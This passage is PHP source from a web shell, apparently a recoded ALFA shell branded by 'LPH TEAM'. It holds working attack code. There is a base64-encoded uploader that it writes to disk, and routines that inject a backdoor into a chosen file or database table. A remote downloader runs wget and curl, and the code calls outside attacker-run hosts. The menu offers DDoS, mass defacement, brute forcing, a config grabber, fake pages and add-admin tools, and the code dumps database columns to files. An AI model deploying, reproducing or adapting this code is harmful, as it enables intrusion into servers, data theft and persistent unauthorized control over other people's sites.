    '; exit;} @error_reporting(E_ALL ^ E_NOTICE); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('magic_quotes_runtime', 0); @set_time_limit(0); if(function_exists('set_magic_quotes_runtime')){ @set_magic_quotes_runtime(0); } foreach($_POST as $key => $value){ if(is_array($_POST[$key])){ $i=0; foreach($_POST[$key] as $f) { $f = trim(str_replace(' ', '+',$f)); $_POST[$key][$i] = decrypt_post($f); $i++; } }else{ $value = trim(str_replace(' ', '+',$value)); $_POST[$key] = decrypt_post($value); } } $default_action = 'FilesMan2'; $default_use_ajax = true; $default_charset = 'Windows-1251'; if(strtolower(substr(PHP_OS,0,3))=="win") $GLOBALS['sys']='win'; else $GLOBALS['sys']='unix'; $GLOBALS['home_cwd'] = @alfaGetCwd(); $GLOBALS["need_to_update_header"] = "false"; $GLOBALS['glob_chdir_false'] = false; if(isset($_POST['c'])){ if(!@chdir($_POST['c'])){ $GLOBALS['glob_chdir_false'] = true; } } $GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd()); if($GLOBALS['glob_chdir_false']){ $GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd()); } if($GLOBALS['sys'] == 'win'){ $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']); $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']); } if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/'; if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}} if(!function_exists("mb_strlen")){ function mb_strlen($str, $c=""){ return strlen($str); } } if(!function_exists("mb_substr")){ function mb_substr($str, $start, $end, $c=""){ return substr($str, $start, $end); } } define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false)); function alfahead(){ $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+'; $alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);'; define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))"); if(!isset($_POST['ajax'])){ function Alfa_GetDisable_Function(){ $disfun = @ini_get('disable_functions'); $afa = 'All Functions Accessible'; if(empty($disfun))return($afa); $s = explode(',',$disfun); $s = array_unique($s); $i=0; $b=0; $func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl'); $black_list = array(); $allow_list = array(); foreach($s as $d){ $d=trim($d); if(empty($d)||!is_callable($d))continue; if(!function_exists($d)){ if(in_array($d,$func)){ $dis .= $d." | ";$b++; $black_list[] = $d; }else{ $allow_list[] = $d; } $i++; } } if($i==0)return($afa); if($i <= count($func)){ $all = array_values(array_merge($black_list, $allow_list)); return(''.implode(" | ", $all).''); } return(''.$dis.'Show All ('.$i.')'); } function AlfaNum(){ $args = func_get_args(); $alfax = array(); $find = array(); for($i=1;$i<=10;$i++){ $alfax[] = $i; } foreach($args as $arg){ $find[] = $arg; } echo ''; } if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; $freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?'; $totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?'; $totalSpace = $totalSpace?$totalSpace:1; $on=" ON "; $of=" OFF "; $none=" NONE "; if(function_exists('ssh2_connect')) $ssh2=$on; else $ssh2=$of; if(function_exists('curl_version')) $curl=$on; else $curl=$of; if(function_exists('mysql_get_client_info')||class_exists('mysqli')) $mysql=$on; else $mysql=$of; if(function_exists('mssql_connect')) $mssql=$on; else $mssql=$of; if(function_exists('pg_connect')) $pg=$on; else $pg=$of; if(function_exists('oci_connect')) $or=$on; else $or=$of; if(@ini_get('disable_functions')) $disfun=@ini_get('disable_functions'); else $disfun="All Functions Enable"; if(@ini_get('safe_mode')) $safe_modes="ON"; else $safe_modes="OFF"; $cgi_shell="OFF"; if(@ini_get('open_basedir')){ $basedir_data = @ini_get('open_basedir'); if(strlen($basedir_data)>120){ $open_b=substr($basedir_data,0, 120)."..."; }else{ $open_b = $basedir_data; } }else{$open_b=$none;} if(@ini_get('safe_mode_exec_dir')) $safe_exe=@ini_get('safe_mode_exec_dir'); else $safe_exe=$none; if(@ini_get('safe_mode_include_dir')) $safe_include=@ini_get('safe_mode_include_dir'); else $safe_include=$none; if(!function_exists('posix_getegid')) { $user = function_exists("get_current_user")?@get_current_user():"????"; $uid = function_exists("getmyuid")?@getmyuid():"????"; $gid = function_exists("getmygid")?@getmygid():"????"; $group = "?"; }else{ $uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????"); $gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????"); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "".$path[$i]."/"; } $drives = ""; foreach(range('a','z') as $drive) if(@is_dir($drive.':\\')) $drives .= '[ '.$drive.' ] '; $csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;'; echo ' ..:: '.$_SERVER['HTTP_HOST'].' ~ Leviathan Perfect Hunter ::.. '; echo "
    "; $cmd_uname = alfaEx("uname -a",false,false); $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !'); if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";} echo '
    '; for($s=1;$s<=10;$s++){ echo ''; } echo '
    '; if($GLOBALS['sys']=='unix'){ $useful_downloader = ''; if(!@ini_get('safe_mode')){ if(strlen(alfaEx("id",false,false))>0){ echo ''; }else{ echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true"; } }else{ echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true"; } }else{ echo ''; } $quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = 'ON';}else{$magic = 'OFF';} echo ''; if($GLOBALS['sys']=="win"){ echo ''; } echo '
    Uname: '.$uname.'
    User: '. $uid . ' [ ' . $user . ' ] Group: ' . $gid . ' [ ' . $group . ' ] lph team 2023
    PHP: '.@phpversion(). ' Safe Mode: '.$safe_modes.'
    ServerIP: '.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).' Your IP: '.@$_SERVER["REMOTE_ADDR"].'
    DateTime: '.date('Y-m-d H:i:s').'
    Domains: '; if($GLOBALS['sys']=='unix'){ $d0mains = _alfa_file("/etc/named.conf",false); if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{ $count=0; foreach($d0mains as $d0main){ if(@strstr($d0main,"zone")){ preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2){ flush(); $count++;}}} echo "$count Domains";}} else{echo("Cant Read [ /etc/named.conf ]");} echo '
    HDD: Total:'.alfaSize($totalSpace).' Free:' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]
    useful:--------------
    Downloader: --------------
    Useful : '; $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl'); $x=0; foreach($userful as $item)if(alfaWhich($item)){$x++;echo ''.$item.'';} if($x==0){echo "--------------";$GLOBALS["need_to_update_header"] = "true";} echo '
    Downloader: '; $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); $x=0; foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo ''.$item2.'';} if($x==0){echo "--------------";$GLOBALS["need_to_update_header"] = "true";} echo '
    Windows:'; echo alfaEx('ver',false,false); echo '
    Downloader: -------------
    Disable Functions: '.Alfa_GetDisable_Function().'
    CURL :'.$curl.' | SSH2 : '.$ssh2.' | Magic Quotes : '.$magic.' | MySQL :'.$mysql.' | MSSQL :'.$mssql.' | PostgreSQL :'.$pg.' | Oracle :'.$or.' '.($GLOBALS['sys']=="unix"?'| CGI : '.$cgi_shell:"").'
    Open_basedir :'.$open_b.' | Safe_mode_exec_dir :'.$safe_exe.' | Safe_mode_include_dir :'.$safe_include.'
    SoftWare: '.@getenv('SERVER_SOFTWARE').'
    DRIVE: '.$drives.'
    PWD: '.$cwd_links.' [ Home Shell ]
      '; $li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC', 'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools', 'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors', 'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager', 'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell' ); foreach($li as $key=>$value){ echo('
    • '.$value.'
    • '."\n"); } echo '
    Delves SettingsAbout Us'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? 'LogOut':'').'
    File manager
    New Tab +
    ';}else{ @error_reporting(E_ALL ^ E_NOTICE); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('magic_quotes_runtime', 0); @set_time_limit(0); }} function alfalogout(){ @setcookie("AlfaUser", null, 2012); @setcookie("AlfaPass", null, 2012); unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']); echo("ok"); } function showAnimation($name){ return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;'; } function __showicon($r){ $s['btn']='http://haxor.lol/love/heads.png'; $s['alfamini']='https://haxor.lol/love/heads.png'; $s['loader']='http://haxor.lol/love/loader.svg'; //return 'data:image/png;base64,'.__get_resource($s[$r]); return $s[$r]; } function alfainbackdoor(){ alfahead(); echo '

    | Install BackDoor |

    | In File | | In DataBase |

    '; $error = 'Error In Inject BackDoor...!
    File Loader is not Writable Or Not Exists...!
    '; $success= 'Success...!'; $textarea = ""; $select = "
    Use:
    "; $cwd = 'Example: /home/alfa/public_html/index.php'; if($_POST['alfa1']=='file'){ echo("

    | In File |

    {$select}
    Backdoor Loader:
    Key:
    {$textarea}

    "); if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){ $method = $_POST['alfa2']; $file = $_POST['alfa3']; $shell = $_POST['alfa4']; $key = str_replace(array('"','\''),'',trim($_POST['alfa5'])); if($key=='')$key='alfa'; if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];} $code = '\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>'; if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."
    Run With: ".basename($file)."?alfa=".$key.'
    ');}else{__alert($error);}}} if($_POST['alfa1']=='db'){ echo("

    | In DataBase |

    ".getConfigHtml('all')."

    "); $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50') ); create_table($table); echo("

    {$select}

    "); echo($textarea); echo("

    "); if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){ $dbhost = $_POST['alfa2']; $dbuser = $_POST['alfa3']; $dbpw = $_POST['alfa4']; $dbname = $_POST['alfa5']; $file = $_POST['alfa6']; $method = $_POST['alfa7']; $shell = $_POST['alfa8']; $key = str_replace(array('"','\''),'',trim($_POST['alfa9'])); if($key=='')$key='alfa'; if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];} if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){ $code = '\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>'; if(@is_file($file)&&@is_writable($file)){ @mysqli_query($conn,'DROP TABLE `alfa_bc`'); @mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)'); @mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")'); @file_put_contents($file,$code."\n".@file_get_contents($file)); __alert($success."
    Run With: ".basename($file)."?alfa=".$key.'
    ');}else{__alert($error);}}}} echo('
    '); alfafooter(); } function alfawhois(){ echo("

    | Whois |

    >');return false;\">
    Url:

    "); if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){ $site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']); $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site; $data = @file_get_contents($target); if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);} $target = @json_decode($data,true); echo __pre(); if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}} echo("
    "); } function alfaremotedl(){ alfahead(); echo("

    | Upload From Url |

    >');return false;\">

    Url:
       

    Path:

    "); if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){ echo __pre(); $url = $_POST['alfa1']; $path = $_POST['alfa2']; echo('
    '); if(__download($url,$path)){ echo('Success...!'); }else{ echo('Error...!'); } echo('
    '); } echo("
    "); alfafooter(); } function __download($url,$path=false){ if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; $saveas = basename(rawurldecode($url)); if($path){$saveas=$path.$saveas;} if($content = __read_file($url)){ if(@is_file($saveas))@unlink($saveas); if(__write_file($saveas, $content)){return true;}} $buff = alfaEx("wget ".$url." -O ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("curl ".$url." -o ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("lwp-download ".$url." ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("lynx -source ".$url." > ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("GET ".$url." > ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("links -source ".$url." > ".$saveas); if(@is_file($saveas)) return true; $buff = alfaEx("fetch -o ".$saveas." -p ".$url); if(@is_file($saveas)) return true; return false; } function clean_string($string){ if(function_exists("iconv")){ $s = trim($string); $s = iconv("UTF-8", "UTF-8//IGNORE", $s); } return $s; } function __read_file($file, $boom = true){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192); } @fclose($fh); } if(empty($content)||!$content){ $content = alfaEx("cat '".addslashes($file)."'"); } return $content; } function alfaMarket(){ echo "
    "; $curl = new AlfaCURL(); $content = $curl->Send("http://solevisible.com/market.php"); $data = @json_decode($content, true); if(!empty($data)){ if($data["status"] == "open"){ echo $data["content"]; }else{ echo $data["error_msg"]; } }else{ echo "
    Cant connect to the alfa market....! try later.
    "; } echo "
    "; } function alfaSettings(){ alfahead(); AlfaNum(6,7,8,9,10); echo '

    | Settings |

    | Generall Setting |

    '; if($_POST["alfa8"] == "main"){ echo '

    | Settings |

    '; $lg_array = array('0'=>'No','1'=>'Yes'); $penc_array = array('false'=>'No','true'=>'Yes'); $protect_html = ""; $icon_html = ""; $postEnc_html = ""; $login_html = ""; $cgiapi_html = ""; foreach($lg_array as$key=>$val)$protect_html .= ''; foreach($lg_array as $key=>$val)$icon_html .= ''; foreach($penc_array as $key=>$val)$cgiapi_html .= ''; foreach($penc_array as $key=>$val)$postEnc_html .= ''; $lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound"); foreach($lg_array as $key=>$val)$login_html .= ''; echo ''; echo '
    Protect:
    Cgi Api:
    Post Encryption:
    Show Icons:
    login Page:
    UserName:
    Password:

    '; if($_POST['alfa5']=='>>'){ echo __pre(); if(!empty($_POST['alfa3'])){ $protect = $_POST['alfa1']; $lgpage = $_POST['alfa2']; $username = $_POST['alfa3']; $password = md5($_POST['alfa4']); $icon = $_POST['alfa6']; $post_encrypt = $_POST['alfa7']; $cgi_api_val = $_POST['alfa9']; @chdir($GLOBALS['home_cwd']); $basename = @basename($_SERVER['PHP_SELF']); $data = @file_get_contents($basename); $user_rand = $GLOBALS["DB_NAME"]["user_rand"]; $pass_rand = $GLOBALS["DB_NAME"]["pass_rand"]; $login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"]; $safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"]; $show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"]; $post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"]; $cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"]; $find_user = '/\''.$user_rand.'\'(.*?),/i'; $find_pw = '/\''.$pass_rand.'\'(.*?),/i'; $find_lg = '/\''.$login_page_rand.'\'(.*?),/i'; $find_p = '/\''.$safemode_rand.'\'(.*?),/i'; $icons = '/\''.$show_icons_rand.'\'(.*?),/i'; $postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i'; $cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i'; if(!empty($username)&&preg_match($find_user,$data,$e)){ $new = '\''.$user_rand.'\' => \''.$username.'\','; $data = str_replace($e[0],$new,$data); } if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){ $new = '\''.$pass_rand.'\' => \''.$password.'\','; $data = str_replace($e[0],$new,$data); } if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){ $new = '\''.$login_page_rand.'\' => \''.$lgpage.'\','; $data = str_replace($e[0],$new,$data); } if(!empty($find_p)&&preg_match($find_p,$data,$e)){ $new = '\''.$safemode_rand.'\' => \''.$protect.'\','; $data = str_replace($e[0],$new,$data); } if(preg_match($icons,$data,$e)){ $new = '\''.$show_icons_rand.'\' => \''.$icon.'\','; $data = str_replace($e[0],$new,$data); } if(preg_match($postEnc,$data,$e)){ $new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.','; $data = str_replace($e[0],$new,$data); } if(preg_match($cgi_api_reg,$data,$e)){ $new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.','; $data = str_replace($e[0],$new,$data); } if(@file_put_contents($basename,$data)){ echo 'UserName: '.$username.'
    Password: '.$_POST['alfa4'].''; }else{ __alert("File has no edit access...!"); } }else{ __alert("UserName is Empty !"); } } }elseif($_POST["alfa8"] == "color"){ echo('

    | Custom Color |

    '); echo ''; $template = ''; $x = 1; foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){ $multi = ""; if(is_array($value)){ if(isset($value["multi_selector"])){ $multi = __ZW5jb2Rlcg(json_encode($value)); } } $value = alfa_getColor($key); $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key)); echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template); } echo ''; echo '
    Help
    {index}
    {target}:
    -
    *
    Use Default Color:

    '; if($_POST['alfa7']=='export'){ echo __pre(); $colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array(); $glob_colors = $GLOBALS["__ALFA_COLOR__"]; $array = array(); foreach($glob_colors as $k => $v){ if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){ $v = trim($colors[$k]); }else{ $v = trim(is_array($v)?$v["key_color"]:$v); } $array[$k] = $v; } $file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf"; $config = json_encode($array, JSON_PRETTY_PRINT); if(!@file_put_contents($file, $config)){ echo('

    Color Config:

    '); }else{ echo('

    Download Config

    '); } } if($_POST['alfa2']=='>>'){ echo __pre(); $colors = json_decode($_POST["alfa1"],true); $array = ""; $is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false; $glob_colors = $GLOBALS["__ALFA_COLOR__"]; foreach($glob_colors as $k => $v){if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){ $v = trim($colors[$k]); }else{ $v = trim(is_array($v)?$v["key_color"]:$v); } $array .= '"'.trim($k).'" => "'.$v.'",'; } @chdir($GLOBALS['home_cwd']); $basename = @basename($_SERVER['PHP_SELF']); $data = @file_get_contents($basename); $color = '/\'color\'(.*?)\),/s'; if(preg_match($color,$data,$e)){ $new = "'color' => array(".$array."),"; $data = str_replace($e[0],$new,$data); if(@file_put_contents($basename, $data)){ echo("

    [+] Success...

    "); }else{ echo("

    [-] We Not have permission to Edit shell...!

    "); } }else{ echo("

    [-] Error...!

    "); } } } echo('
    '); alfafooter(); } function alfaaboutus(){ alfahead(); echo '
    '; $news = new AlfaCURL(); $about_us = $news->Send("http://solevisible.com/aboutus.php"); if(empty($about_us)){ $about_us = "

    Shell ReCoded By HaxorWorld (LPH TEAM)
    Contact : haxor@leviathanperfecthunter.com
    "; } echo __pre().$about_us; echo('
    '); alfafooter(); } function alfacoldumper(){ alfahead(); echo('
    '); AlfaNum(8,9,10); echo "

    | Mysql Column Dumper |


    ".getConfigHtml('all')."

    "; $delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::'); $selected_data = json_decode($_POST['alfa2'], true); $username = ($_POST['alfa3']); $password = ($_POST['alfa4']); $dbname = ($_POST['alfa5']); $dfile = ($_POST['alfa6']); $host = ($_POST['alfa7']); $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50') ); create_table($table); echo "

    "; $db = false; if(!empty($dbname)){ $db = @mysqli_connect($host, $username, $password, $dbname); } if(count($selected_data) > 0){ if($db){ if(!is_dir($dfile)){ $dfile = $GLOBALS['cwd']; } $tbls = ""; $ext = '.txt'; if($delimiter == 'json'){ $ext = '.json'; } foreach ($selected_data as $tbl => $cols) { $tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl"); $file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext; $fp = fopen($file_name, "w"); $data = array(); while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){ if($delimiter == "json"){ $col_arr = array(); foreach ($row as $key => $value) { if(empty($value)){ $value = "[empty]"; } $col_arr[$key] = $value; } $data[$tbl][] = $col_arr; }else{ $data = ""; foreach ($row as $key => $value) { if(empty($value)){ $value = "[empty]"; } $data .= $value . $delimiter; } fwrite($fp, $data ."\n"); } } if($delimiter == "json"){ fwrite($fp, json_encode($data)); } fclose($fp); $tbls .= "Done ~~~> ".$file_name."
    "; } echo __pre(); echo "
    ".$tbls."
    "; } } if(!empty($dbname) && count($selected_data) == 0){ //echo __pre(); if($db){ echo("
    [ Select your tables and columns for dumping data ]
    "); echo("
    Output Type:
    Delimiter:
